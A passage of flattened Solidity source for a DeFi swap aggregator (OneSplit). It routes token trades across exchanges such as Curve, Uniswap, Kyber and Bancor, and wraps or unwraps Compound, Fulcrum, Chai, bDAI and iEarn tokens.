(fromToken == usdc ? 2 : 0) +
(fromToken == usdt ? 3 : 0) +
(fromToken == pax ? 4 : 0);
int128 j = (destToken == dai ? 1 : 0) +
(destToken == usdc ? 2 : 0) +
(destToken == usdt ? 3 : 0) +
(destToken == pax ? 4 : 0);
if (i == 0 || j == 0) {
return 0;
}
fromToken.universalApprove(address(curvePax), amount);
curvePax.exchange_underlying(i - 1, j - 1, amount, 0);
}
function _swapOnShell(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns (uint256) {
fromToken.universalApprove(address(shell), amount);
return shell.swapByOrigin(
address(fromToken),
address(destToken),
amount,
0,
now + 50
);
}
function _swapOnMStableMUSD(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns (uint256) {
fromToken.universalApprove(address(musd), amount);
return musd.swap(
fromToken,
destToken,
amount,
address(this)
);
}
function _swapOnCurveRenBtc(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
int128 i = (fromToken == renbtc ? 1 : 0) +
(fromToken == wbtc ? 2 : 0);
int128 j = (destToken == renbtc ? 1 : 0) +
(destToken == wbtc ? 2 : 0);
if (i == 0 || j == 0) {
return 0;
}
fromToken.universalApprove(address(curveRenBtc), amount);
curveRenBtc.exchange(i - 1, j - 1, amount, 0);
}
function _swapOnCurveTBtc(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
int128 i = (fromToken == tbtc ? 1 : 0) +
(fromToken == wbtc ? 2 : 0) +
(fromToken == hbtc ? 3 : 0);
int128 j = (destToken == tbtc ? 1 : 0) +
(destToken == wbtc ? 2 : 0) +
(destToken == hbtc ? 3 : 0);
if (i == 0 || j == 0) {
return 0;
}
fromToken.universalApprove(address(curveTBtc), amount);
curveTBtc.exchange(i - 1, j - 1, amount, 0);
}
function _swapOnDforceSwap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
fromToken.universalApprove(address(dforceSwap), amount);
dforceSwap.swap(fromToken, destToken, amount);
}
function _swapOnUniswap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
uint256 returnAmount = amount;
if (!fromToken.isETH()) {
IUniswapExchange fromExchange = uniswapFactory.getExchange(fromToken);
if (fromExchange != IUniswapExchange(0)) {
fromToken.universalApprove(address(fromExchange), returnAmount);
returnAmount = fromExchange.tokenToEthSwapInput(returnAmount, 1, now);
}
}
if (!destToken.isETH()) {
IUniswapExchange toExchange = uniswapFactory.getExchange(destToken);
if (toExchange != IUniswapExchange(0)) {
returnAmount = toExchange.ethToTokenSwapInput.value(returnAmount)(1, now);
}
}
return returnAmount;
}
function _swapOnUniswapCompound(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
if (!fromToken.isETH()) {
ICompoundToken fromCompound = _getCompoundToken(fromToken);
fromToken.universalApprove(address(fromCompound), amount);
fromCompound.mint(amount);
return _swapOnUniswap(IERC20(fromCompound), destToken, IERC20(fromCompound).universalBalanceOf(address(this)));
}
if (!destToken.isETH()) {
ICompoundToken toCompound = _getCompoundToken(destToken);
uint256 compoundAmount = _swapOnUniswap(fromToken, IERC20(toCompound), amount);
toCompound.redeem(compoundAmount);
return destToken.universalBalanceOf(address(this));
}
return 0;
}
function _swapOnUniswapChai(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
if (fromToken == dai) {
fromToken.universalApprove(address(chai), amount);
chai.join(address(this), amount);
return _swapOnUniswap(IERC20(chai), destToken, IERC20(chai).universalBalanceOf(address(this)));
}
if (destToken == dai) {
uint256 chaiAmount = _swapOnUniswap(fromToken, IERC20(chai), amount);
chai.exit(address(this), chaiAmount);
return destToken.universalBalanceOf(address(this));
}
return 0;
}
function _swapOnUniswapAave(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
if (!fromToken.isETH()) {
IAaveToken fromAave = _getAaveToken(fromToken);
fromToken.universalApprove(aave.core(), amount);
aave.deposit(fromToken, amount, 1101);
return _swapOnUniswap(IERC20(fromAave), destToken, IERC20(fromAave).universalBalanceOf(address(this)));
}
if (!destToken.isETH()) {
IAaveToken toAave = _getAaveToken(destToken);
uint256 aaveAmount = _swapOnUniswap(fromToken, IERC20(toAave), amount);
toAave.redeem(aaveAmount);
return aaveAmount;
}
return 0;
}
function _swapOnMooniswap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
IMooniswap mooniswap = mooniswapRegistry.target();
fromToken.universalApprove(address(mooniswap), amount);
return mooniswap.swap.value(fromToken.isETH() ? amount : 0)(
fromToken,
destToken,
amount,
0
);
}
function _swapOnKyber(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
fromToken.universalApprove(address(kyberNetworkProxy), amount);
return kyberNetworkProxy.tradeWithHint.value(fromToken.isETH() ? amount : 0)(
fromToken.isETH() ? ETH_ADDRESS : fromToken,
amount,
destToken.isETH() ? ETH_ADDRESS : destToken,
address(this),
1 << 255,
0,
0x4D37f28D2db99e8d35A6C725a5f1749A085850a3,
""
);
}
function _swapOnBancor(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
IBancorNetwork bancorNetwork = IBancorNetwork(bancorContractRegistry.addressOf("BancorNetwork"));
address[] memory path = _buildBancorPath(fromToken, destToken);
return bancorNetwork.convert.value(fromToken.isETH() ? amount : 0)(path, amount, 1);
}
function _swapOnOasis(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
if (fromToken.isETH()) {
weth.deposit.value(amount)();
}
IERC20 approveToken = fromToken.isETH() ? weth : fromToken;
approveToken.universalApprove(address(oasisExchange), amount);
uint256 returnAmount = oasisExchange.sellAllAmount(
fromToken.isETH() ? weth : fromToken,
amount,
destToken.isETH() ? weth : destToken,
1
);
if (destToken.isETH()) {
weth.withdraw(weth.balanceOf(address(this)));
}
return returnAmount;
}
function _swapOnUniswapV2Internal(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256 returnAmount) {
if (fromToken.isETH()) {
weth.deposit.value(amount)();
}
IERC20 fromTokenReal = fromToken.isETH() ? weth : fromToken;
IERC20 toTokenReal = destToken.isETH() ? weth : destToken;
IUniswapV2Exchange exchange = uniswapV2.getPair(fromTokenReal, toTokenReal);
returnAmount = exchange.getReturn(fromTokenReal, toTokenReal, amount);
fromTokenReal.universalTransfer(address(exchange), amount);
if (uint256(address(fromTokenReal)) < uint256(address(toTokenReal))) {
exchange.swap(0, returnAmount, address(this), "");
} else {
exchange.swap(returnAmount, 0, address(this), "");
}
if (destToken.isETH()) {
weth.withdraw(weth.balanceOf(address(this)));
}
}
function _swapOnUniswapV2OverMid(
IERC20 fromToken,
IERC20 midToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
return _swapOnUniswapV2Internal(
midToken,
destToken,
_swapOnUniswapV2Internal(
fromToken,
midToken,
amount
)
);
}
function _swapOnUniswapV2(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
return _swapOnUniswapV2Internal(
fromToken,
destToken,
amount
);
}
function _swapOnUniswapV2ETH(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
return _swapOnUniswapV2OverMid(
fromToken,
weth,
destToken,
amount
);
}
function _swapOnUniswapV2DAI(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
return _swapOnUniswapV2OverMid(
fromToken,
dai,
destToken,
amount
);
}
function _swapOnUniswapV2USDC(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
return _swapOnUniswapV2OverMid(
fromToken,
usdc,
destToken,
amount
);
}
}
// File: contracts/OneSplitMultiPath.sol
pragma solidity ^0.5.0;
contract OneSplitMultiPathBase is IOneSplitConsts, OneSplitRoot {
function _getMultiPathToken(uint256 flags) internal pure returns(IERC20 midToken) {
uint256[7] memory allFlags = [
FLAG_ENABLE_MULTI_PATH_ETH,
FLAG_ENABLE_MULTI_PATH_DAI,
FLAG_ENABLE_MULTI_PATH_USDC,
FLAG_ENABLE_MULTI_PATH_USDT,
FLAG_ENABLE_MULTI_PATH_WBTC,
FLAG_ENABLE_MULTI_PATH_TBTC,
FLAG_ENABLE_MULTI_PATH_RENBTC
];
IERC20[7] memory allMidTokens = [
ETH_ADDRESS,
dai,
usdc,
usdt,
wbtc,
tbtc,
renbtc
];
for (uint i = 0; i < allFlags.length; i++) {
if (flags.check(allFlags[i])) {
require(midToken == IERC20(0), "OneSplit: Do not use multipath with each other");
midToken = allMidTokens[i];
}
}
}
}
contract OneSplitMultiPathView is OneSplitViewWrapBase, OneSplitMultiPathBase {
function getExpectedReturnWithGas(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
public
view
returns (
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
if (fromToken == destToken) {
return (amount, 0, new uint256[](DEXES_COUNT));
}
IERC20 midToken = _getMultiPathToken(flags);
if (midToken != IERC20(0)) {
if ((fromToken.isETH() && midToken.isETH()) ||
(destToken.isETH() && midToken.isETH()) ||
fromToken == midToken ||
destToken == midToken)
{
return super.getExpectedReturnWithGas(
fromToken,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
}
// Stack too deep
uint256 _flags = flags;
(returnAmount, estimateGasAmount, distribution) = super.getExpectedReturnWithGas(
fromToken,
midToken,
amount,
parts,
_flags | FLAG_DISABLE_BANCOR | FLAG_DISABLE_CURVE_COMPOUND | FLAG_DISABLE_CURVE_USDT | FLAG_DISABLE_CURVE_Y | FLAG_DISABLE_CURVE_BINANCE | FLAG_DISABLE_CURVE_PAX,
destTokenEthPriceTimesGasPrice
);
uint256[] memory dist;
uint256 estimateGasAmount2;
(returnAmount, estimateGasAmount2, dist) = super.getExpectedReturnWithGas(
midToken,
destToken,
returnAmount,
parts,
_flags | FLAG_DISABLE_BANCOR | FLAG_DISABLE_CURVE_COMPOUND | FLAG_DISABLE_CURVE_USDT | FLAG_DISABLE_CURVE_Y | FLAG_DISABLE_CURVE_BINANCE | FLAG_DISABLE_CURVE_PAX,
destTokenEthPriceTimesGasPrice
);
for (uint i = 0; i < distribution.length; i++) {
distribution[i] = distribution[i].add(dist[i] << 8);
}
return (returnAmount, estimateGasAmount + estimateGasAmount2, distribution);
}
return super.getExpectedReturnWithGas(
fromToken,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
}
}
contract OneSplitMultiPath is OneSplitBaseWrap, OneSplitMultiPathBase {
function _swap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) internal {
IERC20 midToken = _getMultiPathToken(flags);
if (midToken != IERC20(0)) {
uint256[] memory dist = new uint256[](distribution.length);
for (uint i = 0; i < distribution.length; i++) {
dist[i] = distribution[i] & 0xFF;
}
super._swap(
fromToken,
midToken,
amount,
dist,
flags
);
for (uint i = 0; i < distribution.length; i++) {
dist[i] = (distribution[i] >> 8) & 0xFF;
}
super._swap(
midToken,
destToken,
midToken.universalBalanceOf(address(this)),
dist,
flags
);
return;
}
super._swap(
fromToken,
destToken,
amount,
distribution,
flags
);
}
}
// File: contracts/OneSplitCompound.sol
pragma solidity ^0.5.0;
contract OneSplitCompoundBase {
function _getCompoundUnderlyingToken(IERC20 token) internal pure returns(IERC20) {
if (token == IERC20(0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5)) { // ETH
return IERC20(0);
}
if (token == IERC20(0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643)) { // DAI
return IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
}
if (token == IERC20(0x6C8c6b02E7b2BE14d4fA6022Dfd6d75921D90E4E)) { // BAT
return IERC20(0x0D8775F648430679A709E98d2b0Cb6250d2887EF);
}
if (token == IERC20(0x158079Ee67Fce2f58472A96584A73C7Ab9AC95c1)) { // REP
return IERC20(0x1985365e9f78359a9B6AD760e32412f4a445E862);
}
if (token == IERC20(0x39AA39c021dfbaE8faC545936693aC917d5E7563)) { // USDC
return IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
}
if (token == IERC20(0xC11b1268C1A384e55C48c2391d8d480264A3A7F4)) { // WBTC
return IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
}
if (token == IERC20(0xB3319f5D18Bc0D84dD1b4825Dcde5d5f7266d407)) { // ZRX
return IERC20(0xE41d2489571d322189246DaFA5ebDe1F4699F498);
}
if (token == IERC20(0xf650C3d88D12dB855b8bf7D11Be6C55A4e07dCC9)) { // USDT
return IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
}
return IERC20(-1);
}
}
contract OneSplitCompoundView is OneSplitViewWrapBase, OneSplitCompoundBase {
function getExpectedReturnWithGas(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
public
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
return _compoundGetExpectedReturn(
fromToken,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
}
function _compoundGetExpectedReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
private
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
if (fromToken == destToken) {
return (amount, 0, new uint256[](DEXES_COUNT));
}
if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_COMPOUND)) {
IERC20 underlying = _getCompoundUnderlyingToken(fromToken);
if (underlying != IERC20(-1)) {
uint256 compoundRate = ICompoundToken(address(fromToken)).exchangeRateStored();
(returnAmount, estimateGasAmount, distribution) = _compoundGetExpectedReturn(
underlying,
destToken,
amount.mul(compoundRate).div(1e18),
parts,
flags,
destTokenEthPriceTimesGasPrice
);
return (returnAmount, estimateGasAmount + 295_000, distribution);
}
underlying = _getCompoundUnderlyingToken(destToken);
if (underlying != IERC20(-1)) {
uint256 compoundRate = ICompoundToken(address(destToken)).exchangeRateStored();
(returnAmount, estimateGasAmount, distribution) = super.getExpectedReturnWithGas(
fromToken,
underlying,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
return (returnAmount.mul(1e18).div(compoundRate), estimateGasAmount + 430_000, distribution);
}
}
return super.getExpectedReturnWithGas(
fromToken,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
}
}
contract OneSplitCompound is OneSplitBaseWrap, OneSplitCompoundBase {
function _swap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) internal {
_compundSwap(
fromToken,
destToken,
amount,
distribution,
flags
);
}
function _compundSwap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) private {
if (fromToken == destToken) {
return;
}
if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_COMPOUND)) {
IERC20 underlying = _getCompoundUnderlyingToken(fromToken);
if (underlying != IERC20(-1)) {
ICompoundToken(address(fromToken)).redeem(amount);
uint256 underlyingAmount = underlying.universalBalanceOf(address(this));
return _compundSwap(
underlying,
destToken,
underlyingAmount,
distribution,
flags
);
}
underlying = _getCompoundUnderlyingToken(destToken);
if (underlying != IERC20(-1)) {
super._swap(
fromToken,
underlying,
amount,
distribution,
flags
);
uint256 underlyingAmount = underlying.universalBalanceOf(address(this));
if (underlying.isETH()) {
cETH.mint.value(underlyingAmount)();
} else {
underlying.universalApprove(address(destToken), underlyingAmount);
ICompoundToken(address(destToken)).mint(underlyingAmount);
}
return;
}
}
return super._swap(
fromToken,
destToken,
amount,
distribution,
flags
);
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20Detailed.sol
pragma solidity ^0.5.0;
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
// File: contracts/interface/IFulcrum.sol
pragma solidity ^0.5.0;
contract IFulcrumToken is IERC20 {
function tokenPrice() external view returns (uint256);
function loanTokenAddress() external view returns (address);
function mintWithEther(address receiver) external payable returns (uint256 mintAmount);
function mint(address receiver, uint256 depositAmount) external returns (uint256 mintAmount);
function burnToEther(address receiver, uint256 burnAmount)
external
returns (uint256 loanAmountPaid);
function burn(address receiver, uint256 burnAmount) external returns (uint256 loanAmountPaid);
}
// File: contracts/OneSplitFulcrum.sol
pragma solidity ^0.5.0;
contract OneSplitFulcrumBase {
using UniversalERC20 for IERC20;
function _isFulcrumToken(IERC20 token) public view returns(IERC20) {
if (token.isETH()) {
return IERC20(-1);
}
(bool success, bytes memory data) = address(token).staticcall.gas(5000)(abi.encodeWithSelector(
ERC20Detailed(address(token)).name.selector
));
if (!success) {
return IERC20(-1);
}
bool foundBZX = false;
for (uint i = 0; i + 6 < data.length; i++) {
if (data[i + 0] == "F" &&
data[i + 1] == "u" &&
data[i + 2] == "l" &&
data[i + 3] == "c" &&
data[i + 4] == "r" &&
data[i + 5] == "u" &&
data[i + 6] == "m")
{
foundBZX = true;
break;
}
}
if (!foundBZX) {
return IERC20(-1);
}
(success, data) = address(token).staticcall.gas(5000)(abi.encodeWithSelector(
IFulcrumToken(address(token)).loanTokenAddress.selector
));
if (!success) {
return IERC20(-1);
}
return abi.decode(data, (IERC20));
}
}
contract OneSplitFulcrumView is OneSplitViewWrapBase, OneSplitFulcrumBase {
function getExpectedReturnWithGas(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
public
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
return _fulcrumGetExpectedReturn(
fromToken,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
}
function _fulcrumGetExpectedReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
private
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
if (fromToken == destToken) {
return (amount, 0, new uint256[](DEXES_COUNT));
}
if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_FULCRUM)) {
IERC20 underlying = _isFulcrumToken(fromToken);
if (underlying != IERC20(-1)) {
uint256 fulcrumRate = IFulcrumToken(address(fromToken)).tokenPrice();
(returnAmount, estimateGasAmount, distribution) = _fulcrumGetExpectedReturn(
underlying,
destToken,
amount.mul(fulcrumRate).div(1e18),
parts,
flags,
destTokenEthPriceTimesGasPrice
);
return (returnAmount, estimateGasAmount + 381_000, distribution);
}
underlying = _isFulcrumToken(destToken);
if (underlying != IERC20(-1)) {
uint256 fulcrumRate = IFulcrumToken(address(destToken)).tokenPrice();
(returnAmount, estimateGasAmount, distribution) = super.getExpectedReturnWithGas(
fromToken,
underlying,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
return (returnAmount.mul(1e18).div(fulcrumRate), estimateGasAmount + 354_000, distribution);
}
}
return super.getExpectedReturnWithGas(
fromToken,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
}
}
contract OneSplitFulcrum is OneSplitBaseWrap, OneSplitFulcrumBase {
function _swap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) internal {
_fulcrumSwap(
fromToken,
destToken,
amount,
distribution,
flags
);
}
function _fulcrumSwap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) private {
if (fromToken == destToken) {
return;
}
if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_FULCRUM)) {
IERC20 underlying = _isFulcrumToken(fromToken);
if (underlying != IERC20(-1)) {
if (underlying.isETH()) {
IFulcrumToken(address(fromToken)).burnToEther(address(this), amount);
} else {
IFulcrumToken(address(fromToken)).burn(address(this), amount);
}
uint256 underlyingAmount = underlying.universalBalanceOf(address(this));
return super._swap(
underlying,
destToken,
underlyingAmount,
distribution,
flags
);
}
underlying = _isFulcrumToken(destToken);
if (underlying != IERC20(-1)) {
super._swap(
fromToken,
underlying,
amount,
distribution,
flags
);
uint256 underlyingAmount = underlying.universalBalanceOf(address(this));
if (underlying.isETH()) {
IFulcrumToken(address(destToken)).mintWithEther.value(underlyingAmount)(address(this));
} else {
underlying.universalApprove(address(destToken), underlyingAmount);
IFulcrumToken(address(destToken)).mint(address(this), underlyingAmount);
}
return;
}
}
return super._swap(
fromToken,
destToken,
amount,
distribution,
flags
);
}
}
// File: contracts/OneSplitChai.sol
pragma solidity ^0.5.0;
contract OneSplitChaiView is OneSplitViewWrapBase {
function getExpectedReturnWithGas(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
public
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
if (fromToken == destToken) {
return (amount, 0, new uint256[](DEXES_COUNT));
}
if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_CHAI)) {
if (fromToken == IERC20(chai)) {
(returnAmount, estimateGasAmount, distribution) = super.getExpectedReturnWithGas(
dai,
destToken,
chai.chaiToDai(amount),
parts,
flags,
destTokenEthPriceTimesGasPrice
);
return (returnAmount, estimateGasAmount + 197_000, distribution);
}
if (destToken == IERC20(chai)) {
(returnAmount, estimateGasAmount, distribution) = super.getExpectedReturnWithGas(
fromToken,
dai,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
return (chai.daiToChai(returnAmount), estimateGasAmount + 168_000, distribution);
}
}
return super.getExpectedReturnWithGas(
fromToken,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
}
}
contract OneSplitChai is OneSplitBaseWrap {
function _swap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) internal {
if (fromToken == destToken) {
return;
}
if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_CHAI)) {
if (fromToken == IERC20(chai)) {
chai.exit(address(this), amount);
return super._swap(
dai,
destToken,
dai.balanceOf(address(this)),
distribution,
flags
);
}
if (destToken == IERC20(chai)) {
super._swap(
fromToken,
dai,
amount,
distribution,
flags
);
uint256 daiBalance = dai.balanceOf(address(this));
dai.universalApprove(address(chai), daiBalance);
chai.join(address(this), daiBalance);
return;
}
}
return super._swap(
fromToken,
destToken,
amount,
distribution,
flags
);
}
}
// File: contracts/interface/IBdai.sol
pragma solidity ^0.5.0;
contract IBdai is IERC20 {
function join(uint256) external;
function exit(uint256) external;
}
// File: contracts/OneSplitBdai.sol
pragma solidity ^0.5.0;
contract OneSplitBdaiBase {
IBdai public bdai = IBdai(0x6a4FFAafa8DD400676Df8076AD6c724867b0e2e8);
IERC20 public btu = IERC20(0xb683D83a532e2Cb7DFa5275eED3698436371cc9f);
}
contract OneSplitBdaiView is OneSplitViewWrapBase, OneSplitBdaiBase {
function getExpectedReturnWithGas(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
public
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
if (fromToken == destToken) {
return (amount, 0, new uint256[](DEXES_COUNT));
}
if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_BDAI)) {
if (fromToken == IERC20(bdai)) {
(returnAmount, estimateGasAmount, distribution) = super.getExpectedReturnWithGas(
dai,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
return (returnAmount, estimateGasAmount + 227_000, distribution);
}
if (destToken == IERC20(bdai)) {
(returnAmount, estimateGasAmount, distribution) = super.getExpectedReturnWithGas(
fromToken,
dai,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
return (returnAmount, estimateGasAmount + 295_000, distribution);
}
}
return super.getExpectedReturnWithGas(
fromToken,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
}
}
contract OneSplitBdai is OneSplitBaseWrap, OneSplitBdaiBase {
function _swap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
) internal {
if (fromToken == destToken) {
return;
}
if (flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == flags.check(FLAG_DISABLE_BDAI)) {
if (fromToken == IERC20(bdai)) {
bdai.exit(amount);
uint256 btuBalance = btu.balanceOf(address(this));
if (btuBalance > 0) {
(,uint256[] memory btuDistribution) = getExpectedReturn(
btu,
destToken,
btuBalance,
1,
flags
);
_swap(
btu,
destToken,
btuBalance,
btuDistribution,
flags
);
}
return super._swap(
dai,
destToken,
amount,
distribution,
flags
);
}
if (destToken == IERC20(bdai)) {
super._swap(fromToken, dai, amount, distribution, flags);
uint256 daiBalance = dai.balanceOf(address(this));
dai.universalApprove(address(bdai), daiBalance);
bdai.join(daiBalance);
return;
}
}
return super._swap(fromToken, destToken, amount, distribution, flags);
}
}
// File: contracts/interface/IIearn.sol
pragma solidity ^0.5.0;
contract IIearn is IERC20 {
function token() external view returns(IERC20);
function calcPoolValueInToken() external view returns(uint256);
function deposit(uint256 _amount) external;
function withdraw(uint256 _shares) external;
}
// File: contracts/OneSplitIearn.sol
pragma solidity ^0.5.0;
contract OneSplitIearnBase {
function _yTokens() internal pure returns(IIearn[13] memory) {
return [
IIearn(0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01),
IIearn(0x04Aa51bbcB46541455cCF1B8bef2ebc5d3787EC9),
IIearn(0x73a052500105205d34Daf004eAb301916DA8190f),
IIearn(0x83f798e925BcD4017Eb265844FDDAbb448f1707D),
IIearn(0xd6aD7a6750A7593E092a9B218d66C0A814a3436e),
IIearn(0xF61718057901F84C4eEC4339EF8f0D86D2B45600),
IIearn(0x04bC0Ab673d88aE9dbC9DA2380cB6B79C4BCa9aE),
IIearn(0xC2cB1040220768554cf699b0d863A3cd4324ce32),
IIearn(0xE6354ed5bC4b393a5Aad09f21c46E101e692d447),
IIearn(0x26EA744E5B887E5205727f55dFBE8685e3b21951),
IIearn(0x99d1Fa417f94dcD62BfE781a1213c092a47041Bc),
IIearn(0x9777d7E2b60bB01759D0E2f8be2095df444cb07E),
IIearn(0x1bE5d71F2dA660BFdee8012dDc58D024448A0A59)
];
}
}
contract OneSplitIearnView is OneSplitViewWrapBase, OneSplitIearnBase {
function getExpectedReturnWithGas(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
public
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
return _iearnGetExpectedReturn(
fromToken,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
}
function _iearnGetExpectedReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
private
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
if (fromToken == destToken) {
return (amount, 0, new uint256[](DEXES_COUNT));
}
if (!flags.check(FLAG_DISABLE_ALL_WRAP_SOURCES) == !flags.check(FLAG_DISABLE_IEARN)) {
IIearn[13] memory yTokens = _yTokens();
for (uint i = 0; i < yTokens.length; i++) {
if (fromToken == IERC20(yTokens[i])) {
(returnAmount, estimateGasAmount, distribution) = _iearnGetExpectedReturn(
yTokens[i].token(),
destToken,
amount
.mul(yTokens[i].calcPoolValueInToken())
.div(yTokens[i].totalSupply()),
parts,
flags,
destTokenEthPriceTimesGasPrice
);
return (returnAmount, estimateGasAmount + 260_000, distribution);
}
}
for (uint i = 0; i < yTokens.length; i++) {
if (destToken == IERC20(yTokens[i])) {
(returnAmount, estimateGasAmount, distribution) = super.getExpectedReturnWithGas(
fromToken,
yTokens[i].token(),
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
return(
returnAmount
.mul(yTokens[i].totalSupply())
.div(yTokens[i].calcPoolValueInToken()),
estimateGasAmount + 743_000,
distribution
);
}
}
}
return super.getExpectedReturnWithGas(
fromToken,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
}
}
contract OneSplitIearn is OneSplitBaseWrap, OneSplitIearnBase {
function _swap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags
